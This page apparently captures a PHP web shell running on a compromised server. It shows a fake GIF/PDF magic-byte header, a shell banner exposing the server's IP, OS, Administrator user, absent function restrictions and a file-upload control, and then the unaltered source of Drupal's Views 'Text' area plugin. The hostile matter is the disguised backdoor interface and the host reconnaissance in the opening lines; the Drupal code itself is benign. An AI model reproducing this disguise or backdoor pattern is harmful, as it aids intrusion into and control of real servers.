GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views/src/Plugin/views/area/ |
Upload File : |
<?php namespace Drupal\views\Plugin\views\area; use Drupal\Core\Form\FormStateInterface; /** * Views area text handler. * * @ingroup views_area_handlers * * @ViewsArea("text") */ class Text extends TokenizeAreaPluginBase { /** * {@inheritdoc} */ protected function defineOptions() { $options = parent::defineOptions(); $options['content'] = [ 'contains' => [ 'value' => ['default' => ''], 'format' => ['default' => NULL], ], ]; return $options; } /** * {@inheritdoc} */ public function buildOptionsForm(&$form, FormStateInterface $form_state) { parent::buildOptionsForm($form, $form_state); $form['content'] = [ '#title' => $this->t('Content'), '#type' => 'text_format', '#default_value' => $this->options['content']['value'], '#rows' => 6, '#format' => isset($this->options['content']['format']) ? $this->options['content']['format'] : filter_default_format(), '#editor' => FALSE, ]; } /** * {@inheritdoc} */ public function preQuery() { $content = $this->options['content']['value']; // Check for tokens that require a total row count. if (strpos($content, '[view:page-count]') !== FALSE || strpos($content, '[view:total-rows]') !== FALSE) { $this->view->get_total_rows = TRUE; } } /** * {@inheritdoc} */ public function render($empty = FALSE) { $format = isset($this->options['content']['format']) ? $this->options['content']['format'] : filter_default_format(); if (!$empty || !empty($this->options['empty'])) { return [ '#type' => 'processed_text', '#text' => $this->tokenizeValue($this->options['content']['value']), '#format' => $format, ]; } return []; } }